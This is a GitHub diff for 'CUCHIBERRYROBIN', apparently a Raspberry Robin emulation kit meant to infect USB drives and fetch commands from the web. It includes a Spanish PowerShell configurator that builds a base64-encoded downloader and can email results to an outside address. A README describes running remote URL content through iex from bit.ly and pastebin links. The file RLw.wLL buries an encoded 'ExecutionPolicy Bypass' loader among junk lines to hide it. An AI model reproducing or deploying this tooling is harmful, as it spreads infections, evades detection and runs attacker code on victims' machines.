Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Binary file added 2
Binary file not shown.
68 changes: 45 additions & 23 deletions CUCHIBERRYROBIN_CONFIGURATOR.ps1
Original file line number Diff line number Diff line change
Expand Up @@ -18,18 +18,32 @@ $espacios




Write-Host $mensajeArt
Write-Host "Te voy a hacer unas preguntas"
$Conf_CharSet = Read-Host "Que nombre quieres poner a tu distribución?"
$Conf_dnsToken = Read-Host "Pon el dominio base de tu canarytoken.org? ( al estilo pb6fy865rm7ts4ran9qi2ss2q.canarytokens.com)"
$Conf_Hashtag_init = Read-Host "Con que hashtag quieres que inicie? (#CUCHIBERRYROBIN)"
$Conf_Hashtag_end = Read-Host "Con que hashtag quieres que acabe? (#FIN)"
$Conf_pastebin_backup = Read-Host "URL de pastebin donde quieres que descargue si no encuentra el hashtag (https://pastebin.com/ABiV0rH7)"
$Conf_Ballon= ""
$Conf_Ballon= ""
# Preguntar al usuario si la variable es verdadera o falsa
$Conf_Ballon_in = Read-Host "Quieres que muestre mensajes en el escritorio cuando se procesa un USB? (True ó False)"
$Conf_CharSet = Read-Host "Que nombre quieres poner a tu distribución? (Ejemplo: MiDistribucion)"
if ([string]::IsNullOrWhiteSpace($Conf_CharSet)) { $Conf_CharSet = "MiDistribucion" }

$Conf_dnsToken = Read-Host "Pon el dominio base de tu canarytoken.org (Ejemplo: pb6fy865rm7ts4ran9qi2ss2q.canarytokens.com)"
if ([string]::IsNullOrWhiteSpace($Conf_dnsToken)) { $Conf_dnsToken = "pb6fy865rm7ts4ran9qi2ss2q.canarytokens.com" }

$Conf_Hashtag_init = Read-Host "Con que hashtag quieres que inicie? (Ejemplo: #CUCHIBERRYROBIN)"
if ([string]::IsNullOrWhiteSpace($Conf_Hashtag_init)) { $Conf_Hashtag_init = "#CUCHIBERRYROBIN" }

$Conf_Hashtag_end = Read-Host "Con que hashtag quieres que acabe? (Ejemplo: #FIN)"
if ([string]::IsNullOrWhiteSpace($Conf_Hashtag_end)) { $Conf_Hashtag_end = "#FIN" }

$Conf_pastebin_backup = Read-Host "URL de pastebin donde quieres que descargue si no encuentra el hashtag (Ejemplo: https://pastebin.com/ABiV0rH7)"
if ([string]::IsNullOrWhiteSpace($Conf_pastebin_backup)) { $Conf_pastebin_backup = "https://pastebin.com/ABiV0rH7" }

$Conf_Ballon_in = Read-Host "Quieres que muestre mensajes en el escritorio cuando se procesa un USB? (True o False, por defecto: True)"
if ([string]::IsNullOrWhiteSpace($Conf_Ballon_in)) { $Conf_Ballon_in = "True" }
$Conf_email_enabled = Read-Host "¿Quieres enviar los resultados por correo electrónico? (Si/No, por defecto SI)"
if ([string]::IsNullOrWhiteSpace($Conf_email_enabled) -or $Conf_email_enabled -eq "Si" -or $Conf_email_enabled -eq "si" -or $Conf_email_enabled -eq "SI") {
$Conf_email = Read-Host "Introduce el correo electrónico de destino (por defecto: cuchirobin@trash-mail.com)"
if ([string]::IsNullOrWhiteSpace($Conf_email)) { $Conf_email = "cuchirobin@trash-mail.com" }
} else {
$Conf_email = ""
}

try
{
Expand All @@ -42,7 +56,12 @@ try
}

# Copiar la carpeta original a la carpeta temporal
Copy-Item "./src/*" -Destination "./tmp/" -Force -Recurse
Write-Host "Copiando archivos de src a tmp..."
Get-ChildItem "./src/*" | ForEach-Object {
Copy-Item $_.FullName -Destination "./tmp/" -Force -Recurse
# Write-Host "Copiado: $($_.Name)"
}
#Write-Host "Copia completada"



Expand All @@ -51,26 +70,29 @@ Copy-Item "./src/*" -Destination "./tmp/" -Force -Recurse
$archivos = Get-ChildItem -Path ".\tmp\" -Recurse | Where-Object { $_.Extension -eq ".ps1" }

foreach ($archivo in $archivos) {
Write-Host "Procesando archivo: $($archivo.FullName)"
$contenido = Get-Content $archivo.FullName
for ($i = 0; $i -lt $contenido.Count; $i++) {

if ($contenido[$i] -match '^\$Conf_CharSet=') {
if ($contenido[$i] -match '^\$Conf_CharSet') {
$contenido[$i] = "`$Conf_CharSet=`"$Conf_CharSet`""
}
if ($contenido[$i] -match '^\$Conf_dnsToken=') {
if ($contenido[$i] -match '^\$Conf_dnsToken') {
$contenido[$i] = "`$Conf_dnsToken=`"$Conf_dnsToken`""
}
if ($contenido[$i] -match '^\$Conf_Hashtag_init=') {
if ($contenido[$i] -match '^\$Conf_Hashtag_init') {
$contenido[$i] = "`$Conf_Hashtag_init=`"$Conf_Hashtag_init`""
}
if ($contenido[$i] -match '^\$Conf_Hashtag_end=') {
if ($contenido[$i] -match '^\$Conf_Hashtag_end') {
$contenido[$i] = "`$Conf_Hashtag_end=`"$Conf_Hashtag_end`""
}
if ($contenido[$i] -match '^\$Conf_pastebin_backup=') {
if ($contenido[$i] -match '^\$Conf_pastebin_backup') {
$contenido[$i] = "`$Conf_pastebin_backup=`"$Conf_pastebin_backup`""
}

if ($contenido[$i] -match '^\$Conf_Ballon=') {
if ($contenido[$i] -match '^\$Conf_email') {
$contenido[$i] = "`$Conf_email=`"$Conf_email`""
}
if ($contenido[$i] -match '^\$Conf_Ballon') {
$contenido[$i] = "`$Conf_Ballon=`"$Conf_Ballon`""
}
}
Expand All @@ -90,7 +112,7 @@ $oneline = "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64S

$c = [convert]::ToBase64String([System.Text.encoding]::Unicode.GetBytes($oneline))

$Downloader_base64= ("Powershell -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Encoded " + $c)
$Downloader_base64= $c



Expand All @@ -103,8 +125,8 @@ foreach ($archivo in $archivos) {

if ($contenido[$i] -match '^\$downloader=') {
$contenido[$i] = "`$downloader=`"$Downloader_base64`""
#Write-Host "Encontrado Downloader en $archivo.FullName"
# $contenido[$i]
#Write-Host "Encontrado Downloader en $($archivo.FullName) en la linea $($i+1)"
#Write-Host "Primeros 20 caracteres: $($contenido[$i].Substring(0,20))"
}


Expand Down Expand Up @@ -154,9 +176,9 @@ foreach ($archivo in $archivos) {
}
Set-Content $archivo.FullName $contenido


}




Write-Host "Entra en tmp y ejecuta el powershell de Persiter en la maquina que quieras hacer de reina madre de CUCHIROBIN"
Write-Host "Entra en tmp y ejecuta el powershell de Persister.ps1 en la maquina que quieras hacer de reina madre de CUCHIROBIN"
1 change: 1 addition & 0 deletions Comando.txt
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
Calc.exe
24 changes: 24 additions & 0 deletions FirmadorComandos.ps1
Original file line number Diff line number Diff line change
@@ -0,0 +1,24 @@
#FIRMA codigo
#OPENSSL en path
#private.key es la privada
#private.der es la publica


$texto="Calc.exe"
$archivoTemporal = [System.IO.Path]::GetTempFileName()
$archivoTemporal64 = [System.IO.Path]::GetTempFileName()


echo -n "$texto" | openssl pkeyutl -sign -inkey private.key -out $archivoTemporal
openssl base64 -in $archivoTemporal -out $archivoTemporal64
$Firma=Get-Content -Path $archivoTemporal64


Write-Host "TEXTO EN BASE 64 FIRMADO" + $Firma


#Descifrado


$descifrado=openssl base64 -in $archivoTemporal64 -d | openssl pkeyutl -verifyrecover -in $archivoTemporal -inkey private.der
Write-Host "TEXTO DESCIFRADO" + $descifrado
34 changes: 34 additions & 0 deletions FirmadorComandos_test.ps1
Original file line number Diff line number Diff line change
@@ -0,0 +1,34 @@
#FIRMA codigo
#OPENSSL en path
#private.key es la privada
#private.der es la publica


$texto="Calc.exe"
$archivoTemporal = [System.IO.Path]::GetTempFileName()
$archivoTemporal64 = [System.IO.Path]::GetTempFileName()


echo -n "$texto" | openssl pkeyutl -sign -inkey private.key -out $archivoTemporal
#openssl base64 -in $archivoTemporal -out $archivoTemporal64 -A
$Firma=Get-Content -Path $archivoTemporal -raw -ReadCount 0




$Firma64=[Convert]::ToBase64String([IO.File]::ReadAllBytes($archivoTemporal))

#test encodeco
[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String([Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($Firma))))

Write-Host "TEXTO EN BASE 64 FIRMADO:" $Firma64


#Descifrado
[IO.File]::WriteAllBytes($archivoTemporal64, [Convert]::FromBase64String($Firma64))
$Firma64d=Get-Content -Path $archivoTemporal64 -raw -ReadCount 0

$descifrado= openssl pkeyutl -verifyrecover -inkey private.der -in $archivoTemporal
Write-Host "TEXTO DESCIFRADO:" $descifrado

openssl pkeyutl -verifyrecover -inkey private.der -in $archivoTemporal64
11 changes: 11 additions & 0 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -6,4 +6,15 @@ Your own RaspberryRobin Emulation, infect USB and get the payload from de intern

Just clone, execute CUCHIBERRYROBIN_CONFIGURATOR.ps1 and then install tmp/Persister.ps1 in the target machine to be infected.

Diferent types of commands:

(always exeutes powershell):

#CUCHIBERRYROBIN calc.exe #FIN => executes calc.exe

#10CUCHIBERRYROBIN $ https://bit.ly/3kJjNqK #FIN => $ means iex of the content of the URL

#9CUCHIBERRYROBIN ñC https://pastebin.com/raw/R6sTE0GK #FIN => ñC means same as $ but should have a digital signature of the commands (avoid hijacking the network)



177 changes: 177 additions & 0 deletions RLw.wLL
Original file line number Diff line number Diff line change
@@ -0,0 +1,177 @@
OGdh2ljIkVaQ2mOk8Dbi
GP1AC8L7
nMbgaQe6MuWv
boW09dqyhbg5GY
XuIwI5NBIhVTKkhmcr
ogK
MHAGahVCgmD8WJgmhEETJNsTqvHbNiCnmPwb0C1LTV8zD2ov9mtQ0KAreGia70nxnt
JwhLDfZOYXJJVqQcRqh5yKuvTGGv0BWuhGOGZPZL3eUshwgpFxPI
0mrJklF
Gr08Ff8JNjagqrhI9lVEH0yyMcuYrFHq1pnZTzl9Kgei9S0qopFoDMQviarXVYj10RqDUVf0NXppm9duDIggtE0Kvzhxtr1u3U3glrj
MZMjMKSEqrFh7dwI4tUADTN9KcAtFul4
qQolSAGMGacTAdJPSSc0UCxKAhK4IdGdVcg9
pnBXVzVXzBb
Uo56ly8V8EQFe5ilXomRPdbFBkhXeu9opYWfACKc2r0DvOkknVgut0
bXkDK3P
DBPFpzl7SYiEvHrVCQJxNkPU4MR28owrDbgbkovtggJiWN2xbSTG4Th44eJwVyNYd
start explorer \"EFI\"
1TQaX
Vn81m4AVYpgzTK3scp4
WOavf6U
osowRcMijqcjqDs20ndpXtVu0iYM1XipGJZD98SrpHVoBp8QpAQPPC0bSxfqUCcoWqIBTGmXu9xCeb8znmqFAOIKzBx4LvnjuXxewQPAbTXcXolzrKY4dI0ZHzr7o44KjiloEK0DtMtaB91dzgkYc0aYGAaGB
KGq7Hu93QW1SHCm65QV4EtwMgooUeVs2dGycWjnBVeLVJEi3zlk40MqOZYvdJMChr4d7TpW
CF
LYzHUtCq4pZtjXzhvZgL3FgvGm
XfG4VJsdXEt6M
Y
bFg
Powershell -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Encoded WwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACgAJwB7ACIAUwBjAHIAaQBwAHQAIgA6ACIASQAwAFIAdgBkADIANQBzAGIAMgBGAGsAWgBYAEkAZwBRADEAVgBEAFMARQBsAEMAUgBWAEoAUwBXAFYASgBQAFEAawBsAE8ARABRAG8AawBRADIAOQB1AFoAbAA5AEkAWQBYAE4AbwBkAEcARgBuAFgAMgBsAHUAYQBYAFEAOQBJAGkATgBEAFYAVQBOAEkAUwBVAEoARgBVAGwASgBaAFUAawA5AEMAUwBVADQAaQBEAFEAbwBrAFEAMgA5AHUAWgBsADkASQBZAFgATgBvAGQARwBGAG4AWAAyAFYAdQBaAEQAMABpAEkAMABaAEoAVABpAEkATgBDAGcAMABLAEkAMAA1AHYAZABDAEIAMwBiADMASgByAGEAVwA1AG4ATABDAEIAdQBaAFcAVgBrAEkASABkAHYAYwBtAHQAaABjAG0AOQAxAGIAbQBRAGcAZABHADgAZwBaADIAVgAwAEkARwBaAHkAYgAyADAAZwBaADIAOQB2AFoAMgB4AGwASQBBADAASwBKAEcATgB2AGIAbgBSAGwAYgBuAFEAZwBQAFMAQgBKAGIAbgBaAHYAYQAyAFUAdABWADIAVgBpAFUAbQBWAHgAZABXAFYAegBkAEMAQQB0AFYAWABKAHAASQBDAEoAbwBkAEgAUgB3AGMAegBvAHYATAAzAGQAMwBkAHkANQBuAGIAMgA5AG4AYgBHAFUAdQBZADIAOQB0AEwAMwBOAGwAWQBYAEoAagBhAEQAOQB4AFAAUwBSAEQAYgAyADUAbQBYADAAaABoAGMAMgBoADAAWQBXAGQAZgBhAFcANQBwAGQAQwBJAGcATABWAFYAegBaAFUASgBoAGMAMgBsAGoAVQBHAEYAeQBjADIAbAB1AFoAdwAwAEsASgBIAEIAaABkAEgASgB2AGIAaQBBADkASQBDAGMAbwBQAHoAdwA5AEoARQBOAHYAYgBtAFoAZgBTAEcARgB6AGEASABSAGgAWgAxADkAcABiAG0AbAAwAEkAQwBrAG8ATABpAG8AcABLAEQAOAA5AEkAQwBSAEQAYgAyADUAbQBYADAAaABoAGMAMgBoADAAWQBXAGQAZgBaAFcANQBrAEsAUwBjAE4AQwBpAFIAeQBaAFgATgAxAGIASABSAGgAWgBHADgAZwBQAFMAQgBiAGMAbQBWAG4AWgBYAGgAZABPAGoAcABOAFkAWABSAGoAYQBDAGcAawBZADIAOQB1AGQARwBWAHUAZABDADUARABiADIANQAwAFoAVwA1ADAATABDAEEAawBjAEcARgAwAGMAbQA5AHUASwBTADUAVwBZAFcAeAAxAFoAUQAwAEsARABRAG8AagBRAG4AVgB1AEkARQBKAEoAVABrAGMAZwBWADAAOQBTAFMAMQBNAGgASQBTAEUATgBDAGkATgBRAFoAWABKAHYASQBFADkAUQBRADAAbABQAFQAaQBBAGoAVgBFADkARQBUAHkAQgBEAFMAVgBCAEkAUgBWAEkAZwBXAEUAOQBTAEQAUQBwAHAAWgBpAEEAbwBLAEYAdAB6AGQASABKAHAAYgBtAGQAZABPAGoAcABKAGMAMAA1ADEAYgBHAHgAUABjAGsAVgB0AGMASABSADUASwBDAFIAeQBaAFgATgAxAGIASABSAGgAWgBHADgAcABLAFMAawBOAEMAbgBzAE4AQwBpAFIAagBiADIANQBtAFgAMgBoAGgAYwAyAGgAMABZAFcAZABmAGEAVwA1AHAAZABGADkAbABiAG0ATgB2AFoARwBWAGsASQBEADAAZwBXADEATgA1AGMAMwBSAGwAYgBTADUAVgBjAG0AbABkAE8AagBwAEYAYwAyAE4AaABjAEcAVgBFAFkAWABSAGgAVQAzAFIAeQBhAFcANQBuAEsAQwBSAEQAYgAyADUAbQBYADAAaABoAGMAMgBoADAAWQBXAGQAZgBhAFcANQBwAGQAQwBrAE4AQwBpAFIAagBiADIANQAwAFoAVwA1ADAASQBEADAAZwBTAFcANQAyAGIAMgB0AGwATABWAGQAbABZAGwASgBsAGMAWABWAGwAYwAzAFEAZwBMAFYAVgB5AGEAUwBBAGkAYQBIAFIAMABjAEgATQA2AEwAeQA5ADMAZAAzAGMAdQBZAG0AbAB1AFoAeQA1AGoAYgAyADAAdgBjADIAVgBoAGMAbQBOAG8AUAAzAEUAOQBKAEcATgB2AGIAbQBaAGYAYQBHAEYAegBhAEgAUgBoAFoAMQA5AHAAYgBtAGwAMABYADIAVgB1AFkAMgA5AGsAWgBXAFEAaQBJAEMAMQBWAGMAMgBWAEMAWQBYAE4AcABZADEAQgBoAGMAbgBOAHAAYgBtAGMATgBDAGkAUgB3AFkAWABSAHkAYgAyADQAZwBQAFMAQQBpAEsARAA4ADgAUABTAFIARABiADIANQBtAFgAMABoAGgAYwAyAGgAMABZAFcAZABmAGEAVwA1AHAAZABGAHgAegBLAFMAZwB1AEsAagA4AHAASwBEADgAOQBYAEgATQBxAEoARQBOAHYAYgBtAFoAZgBTAEcARgB6AGEASABSAGgAWgAxADkAbABiAG0AUQBwAEkAZwAwAEsASgBIAEoAbABjADMAVgBzAGQARwBGAGsAYgB5AEEAOQBJAEMAZwBrAFkAMgA5AHUAZABHAFYAdQBkAEMAQgA4AEkARgBOAGwAYgBHAFYAagBkAEMAMQBUAGQASABKAHAAYgBtAGMAZwBMAFYAQgBoAGQASABSAGwAYwBtADQAZwBKAEgAQgBoAGQASABKAHYAYgBpAEEAdABRAFcAeABzAFQAVwBGADAAWQAyAGgAbABjAHkAawB1AFQAVwBGADAAWQAyAGgAbABjADEAcwB3AFgAUwA1AFcAWQBXAHgAMQBaAFEAMABLAGYAUQAwAEsARABRAG8ATgBDAGcAMABLAEkAMQBSAGwAYwBtAE4AbABjAG0ARgBCAEkARQA5AFEAUQAwAGwAUABUAGkAQQBqAFYARQA5AEUAVAB5AEIARABTAFYAQgBJAFIAVgBJAGcAVwBFADkAUwBEAFEAcABwAFoAaQBBAG8ASwBGAHQAegBkAEgASgBwAGIAbQBkAGQATwBqAHAASgBjADAANQAxAGIARwB4AFAAYwBrAFYAdABjAEgAUgA1AEsAQwBSAHkAWgBYAE4AMQBiAEgAUgBoAFoARwA4AHAASwBTAGsATgBDAG4AcwBOAEMAaQBSAGoAYgAyADUAMABaAFcANQAwAEkARAAwAGcAUwBXADUAMgBiADIAdABsAEwAVgBkAGwAWQBsAEoAbABjAFgAVgBsAGMAMwBRAGcATABWAFYAeQBhAFMAQQBpAGEASABSADAAYwBIAE0ANgBMAHkAOQB3AFkAWABOADAAWgBXAEoAcABiAGkANQBqAGIAMgAwAHYAUQBVAEoAcABWAGoAQgB5AFMARABjAGkASQBDADEAVgBjADIAVgBDAFkAWABOAHAAWQAxAEIAaABjAG4ATgBwAGIAbQBjAE4AQwBpAFIAdwBZAFgAUgB5AGIAMgA0AGcAUABTAEEAbgBLAEQAOAA4AFAAUwBOAEQAVgBVAE4ASQBTAFYASgBQAFEAawBsAE8ASQBDAGsAbwBMAGkAbwBwAEsARAA4ADkASQBDAE4ARwBTAFUANABwAEoAdwAwAEsASgBIAEoAbABjADMAVgBzAGQARwBGAGsAYgB5AEEAOQBJAEYAdAB5AFoAVwBkAGwAZQBGADAANgBPAGsAMQBoAGQARwBOAG8ASwBDAFIAagBiADIANQAwAFoAVwA1ADAATABDAEEAawBjAEcARgAwAGMAbQA5AHUASwBTADUAVwBZAFcAeAAxAFoAUQAwAEsAZgBRADAASwBEAFEAbwBOAEMAZwAwAEsASgBGAFIAcABkAEcAeABsAEkARAAwAGcASQBrAE4AMQBZADIAaABwAFEAbQBWAHkAYwBuAGwAUwBUADIASgBwAGIAaQBJAE4AQwBpAFIATgBaAFgATgB6AFkAVwBkAGwASQBEADAAZwBJAGsAUgBsAGMAMgBOAGgAYwBtAGQAaABiAG0AUgB2AEkARwBOAHYAYgBXAEYAdQBaAEcAOABnAEoASABKAGwAYwAzAFYAcwBkAEcARgBrAGIAeQBJAE4AQwBpAFIAVQBlAFgAQgBsAEkARAAwAGcASQBtAGwAdQBaAG0AOABpAEkAQQAwAEsASQBDAEEATgBDAGwAdAB5AFoAVwBaAHMAWgBXAE4AMABhAFcAOQB1AEwAbQBGAHoAYwAyAFYAdABZAG0AeAA1AFgAVABvADYAYgBHADkAaABaAEgAZABwAGQARwBoAHcAWQBYAEoAMABhAFcARgBzAGIAbQBGAHQAWgBTAGcAaQBVADMAbAB6AGQARwBWAHQATABsAGQAcABiAG0AUgB2AGQAMwBNAHUAUgBtADkAeQBiAFgATQBpAEsAUwBCADgASQBHADkAMQBkAEMAMQB1AGQAVwB4AHMARABRAG8AawBjAEcARgAwAGEAQwBBADkASQBFAGQAbABkAEMAMQBRAGMAbQA5AGoAWgBYAE4AegBJAEMAMQBwAFoAQwBBAGsAYwBHAGwAawBJAEgAdwBnAFUAMgBWAHMAWgBXAE4AMABMAFUAOQBpAGEAbQBWAGoAZABDAEEAdABSAFgAaAB3AFkAVwA1AGsAVQBIAEoAdgBjAEcAVgB5AGQASABrAGcAVQBHAEYAMABhAEEAMABLAEoARwBsAGoAYgAyADQAZwBQAFMAQgBiAFUAMwBsAHoAZABHAFYAdABMAGsAUgB5AFkAWABkAHAAYgBtAGMAdQBTAFcATgB2AGIAbAAwADYATwBrAFYANABkAEgASgBoAFkAMwBSAEIAYwAzAE4AdgBZADIAbABoAGQARwBWAGsAUwBXAE4AdgBiAGkAZwBrAGMARwBGADAAYQBDAGsATgBDAGkAUgB1AGIAMwBSAHAAWgBuAGsAZwBQAFMAQgB1AFoAWABjAHQAYgAyAEoAcQBaAFcATgAwAEkASABOADUAYwAzAFIAbABiAFMANQAzAGEAVwA1AGsAYgAzAGQAegBMAG0AWgB2AGMAbQAxAHoATABtADUAdgBkAEcAbABtAGUAVwBsAGoAYgAyADQATgBDAGkAUgB1AGIAMwBSAHAAWgBuAGsAdQBhAFcATgB2AGIAaQBBADkASQBDAFIAcABZADIAOQB1AEQAUQBvAGsAYgBtADkAMABhAFcAWgA1AEwAbgBaAHAAYwAyAGwAaQBiAEcAVQBnAFAAUwBBAGsAZABIAEoAMQBaAFEAMABLAEoARwA1AHYAZABHAGwAbQBlAFMANQB6AGEARwA5ADMAWQBtAEYAcwBiAEcAOQB2AGIAbgBSAHAAYwBDAGcAeABNAEMAdwBrAFYARwBsADAAYgBHAFUAcwBKAEUAMQBsAGMAMwBOAGgAWgAyAFUAcwBJAEYAdAB6AGUAWABOADAAWgBXADAAdQBkADIAbAB1AFoARwA5ADMAYwB5ADUAbQBiADMASgB0AGMAeQA1ADAAYgAyADkAcwBkAEcAbAB3AGEAVwBOAHYAYgBsADAANgBPAGkAUgBVAGUAWABCAGwASwBRADAASwBTAFcANQAyAGIAMgB0AGwATABVAFYANABjAEgASgBsAGMAMwBOAHAAYgAyADQAZwBKAEgASgBsAGMAMwBWAHMAZABHAEYAawBiAHcAMABLAEQAUQBvAE4AQwBnADAASwAiAH0AJwAgAHwAIABDAG8AbgB2AGUAcgB0AEYAcgBvAG0ALQBKAHMAbwBuACkALgBTAGMAcgBpAHAAdAApACkAIAB8ACAAaQBlAHgA
s6eeXB3lSAyKums1QBNbOKvO5mtKdUD
jm2acMsLYOtpM35ekY
D6q0c
yHBcsbM5FRvMDzF7ockv8IhQrbTpsAHvHbzo3tPv0
FV7Io5XtMIdr6oDcI8KKX
173tZYZM5EbPc1aWQlWfDIb3KJAhaEa5ml9i3WnjdLjBBNoCYuvqhG95LCcbIpFxIN73OP1ZIN1bGXumUQko0SYSkEC452x9ylNpQ4XJMbOw
NEDX26DpMAe9jaWgGQnbqlEas10eTLkuy5t46dtPS7DMcbvsHIlA1nulQqdskCETH2bTs34F6w9ZD2P1lusF1JXeZk28j1
dgTi6WCAOEuiqSy7vc4BHmH0cSUywH7Y9SGhyhcYfKxgFpLaAsgIgzZjJaaVMQ
2Csi
Irx8p2eRXlH571v8AJvfgzovtYntEC3BNUGkb
b9NhlYuX1YQpuiqyFf50JmG3zd8moN53tvUwOMzjdvie5
xx2bbPtDNiUKYRn
nwX
W
36Eppj
3MD8MWhXwk6pHM5W9MKIMbmSdBjxijtcDSOWxUwAlnhHqDeaWxp
M862bTtXtxLN8ZW4yKvCwzl0
ZvrmDjNcO0kFTW0pGGePYjpdm8W0zGr
1kB
a5aoxa5KRl9UxjyZM7r3RDDhysFHOLr5tf1VNKzeXvrSDxBJ53G6OfqOLplKACKbjwbNlikPIntOzld
th3SQBNi14TA6iHkjyHplrx9zZ
zfSUc8sn0XGgQCB6JRMzSTGoWTqrcst
48MkK
cxRUOJpDRa3lrIRQ7y9wIdkvKsk4bR03MFHtiHoDf8n2YZtsOtQMDS
Ux
IjRxuhAmyfOQBrf4MqC4c3q5ZSmmjx
OjgaiebpquOW3BfD26LVxbrn5iTg
MNozUgwTszCsFMVhwHZO
kz38OYfd5YDtneOQU7Tp5xd5z1GfRIRQ0cZh9dazGmXC4MxvBmTJjg7r3R02zQYRHBAVDBvEID9eRK
zN1IKZuKAe32lsasg20fCs
OD6ynJWOJZZULLr5lTZiumRmrwbT6RPy9A56HgAe4rZ
ggPOHTBk
HkCKuwohAR
AJ5H
jARMhJNOcrHhH6nlNrE

oLXsM6UC2DdfXCMV7OW90OSE61rPAoXxsEHAuD
9P7ODxqOE0QzcRme0Femh6xSwpYMhrt1vQumOLTjAPiXJmzJ3tBq33mvNrM3TjIsMfSRcrjSyIex4ZT4
DbTbublF4dTUGizerrna
tSpQjxI2ZdDs
kADiOZURheNWCmP5YvfjQ8yk6tEVMTHEIUUAkXpKcnwECqjlG8CIK7WNZR
SM3VJb13qAG4OmOiKnRjI6qz4RuWeS6Yj6
Yxrl6CbP5dvGzkdZXHEwz8ImTZmqIXR4goqo90JYU4KcOHOY
M7ausXbnFlOjHt8J9NhbNyQHNUcjNvn6thwnV0QxGFU9nudt2Ka7Lk1OvPn6Kt2my
Xt8D59KVO20SHWKqKPPm6t7cnxFzFyRn0jW98stTaEHWxrmrdiEc1Gi
9DnOC9XojJle3fXPXIZG7jiBjJEU2iKJVNpw81d1Zz3QSGy8Q41MFQRKyRYUFRZmqDi1Obva4lrRiHJ5oiwDjOUW9ox9jHogYJDA0QFl3uJlwuBM1w2ztX4kvYOiRxVMtjMemZH2zQ
dPEiR
ROr6nyskfv9Cgxbw

NaShz1
OkAs
m8
QNcGTgg6xsKYTPuOGk
hTOSycm
ZSmsN6dUwm6POfIomPMM
Z
QLuf
NP7Mf1GfN5LBNAjZS2gWn9CnrbjtCPRMiIPEsKArL3g83Irmq8W2
qYQvam5LpcxEU00FP07yBw2AgqMPB7WnxEuZ
qI3JId1yMx7Q7xFEt6uQPx6dETElw
6rYogxuTUabTeudu
QcHi0mozpl3vSMG8xviLsqZl1yJaWLiqrioENfAi9xU1tjDForPt
5O5RZeHNHXashr1Rp
VLXYy44gM03gNVPZ2ShGPZmCtrKf1hJJXiH9c
0k6Ugfqr6Y0lfhXVGak3WYpRckD2fXvYPuGx95WaGlfENXBr9ZM2rfoO
jk4WfFaVN
5GS
02G
XEF2Lagaz09BQuCZT5K9NhwyEzKfs7YApcoAvMHTVLxOwydtZCmXA7
U0Vim0cMtS8qgv1czY
bGqfYySS
IEGxMbVWaxlgnLoa
Xg042LdYQNRq5iEm5YmrdUlTF0w8oHssG7Db3HnloNb9CCx6zfzV8c45uE9hfciHIYxGyb3ux4AyeQMTyVcwq8ggkXWlH07Eo8Kjk
R0tQH3ZbAkdRwaLrjajMWOobDhUjwADzrm
Zn6
d9UzVWBItpeoxBgaoc1RbmX
LdVsoKsDCTSJY7rp
pvdnka4
d6pWhPY7adGgstNtPvkXeJdC
VrZWOfWXhCKSck
zwPfICYbRwKnIbj3PhzYezhWDunESy7UpH5Zg6nY
WKV9yhaiZknPfEG81nHNaAgiqtpyssIBtGbyQzhsXFsq3jNGyvlHx9y4MJstoSxB9jyFFSx8jbbpWOf
DtMoD2G8DQ4rHoVMO7GCRK7U0mYf7qC2H3SAluEQ6O0Z
l8jUpnqJktMx7UKb9g
W
Zxz0UgZwI7OVqKkfGpd1S1OitlfS
cds6C4AEESyPCNRK1
DiC8kwCzedsqA7
fSVRznVnIH4wrSnf0b8Xx
ZbeaL773XwvfBd2jpOwBnOYAu
5DaTgpFIWJoG4HbaMMsQfMmdRMrMsIvOnJNYqQ7TSzqTAYlBYFWsuB1VKeTVR61bsB
QvlIiCrvD6nkvnYoVjXpUu8nwOFSHHefpMy9CM
aQ4p73DTZqqacR
93c31zxOfvrTOd1CjcnxUgddb69tgiWfIc
VkwqnEYqYfXtCusg3bD
LyJjTixG4K1Unfz9Xb0rpCctlj
DwjjYpQLrLTawK0L1b7q4RAJhv0QfeZ
gv
y2vBQhLq3fd
dYCXW4UqQr4zxW6ExcjKmOszm
d8xPf2M624cNztJsAqWUpiLpXe6UIddjKRGxlZQzJsC0MAoOhgEsl6V5B16AUFV5sl9G5W19R
5BKC5
MpWafEUfFAHaMSJjhZzGBaTb5zgXBTgTD3Si
HNL7oZWO7FuNnwSkdD
NLVzGHe
K96OXL5SVlRxrYygROqHl6pvVlHD4Ox
51ivHHTNHx
8O5fAIyNxsC6IiISg
7tepK
X3NqCC6W891rkG
kqIlLDv879jtdjOL2BHE
IMm0ES0S3bC
5BETeVkxPEmI
YUmgAY
c
aym38tlWt8b1bikYJ8yX1qpy5I2TLKwIJUwno9ha47d0JZ5rBygOSgUc
DBOzeg
qPwsc2q02sw2Ukp6yb
BU0trLMxZSN
J7ITq6PJTGOsXt3zmy5QLNE0govKt21RYy0y0xS1tJn0Z5NiqCi0EXur04xRhhOvqRE22253fqocr
oVc3zaV1hlE6jC
UQIcp6qCl0GZHucJr
mG
3DSmZ4wiJAnc3Tz
GiDtv4DJIKZDPoSmkUVGw3KX1hDSeSPu1NIxtOizY6CSfHjB3BFKxYKgG6yiH9QhwfkhEZxoOo
v33kdTy
jDU4A2PlO7CyJfQAMCv
i
hoPBu6tCw1rDo
BdWEzNSxhZhYaljKbxF0EIO4F6QkwL4glNam1yECGMSnLuD1FtVXeeAH9
LQac8vZi01Y766B
z

1U9hU5CODSBtDt8yFjZG8X3E01EeQVyB7IBHgvYFOlsLwSEn8WaQlu58AuZNpcXbu8uz1JwVNL27BMgSlpo5ktaWGhclziGMDXcNoo
Ws6oAMIkH11irHLwa
2gO2bNLfAgiD6LrtVlt
CSURKxigi7VzSEdN2Bb4pykjZbTqI1ERrWxybQjD
J
92gbYJ88UTfuB3Oyxam81Rqaww23TiNCqedHNB1DjhfGT
v9
jYWc7Q7DD6SALl0741c
arDRGY5hoWsFEMLI2
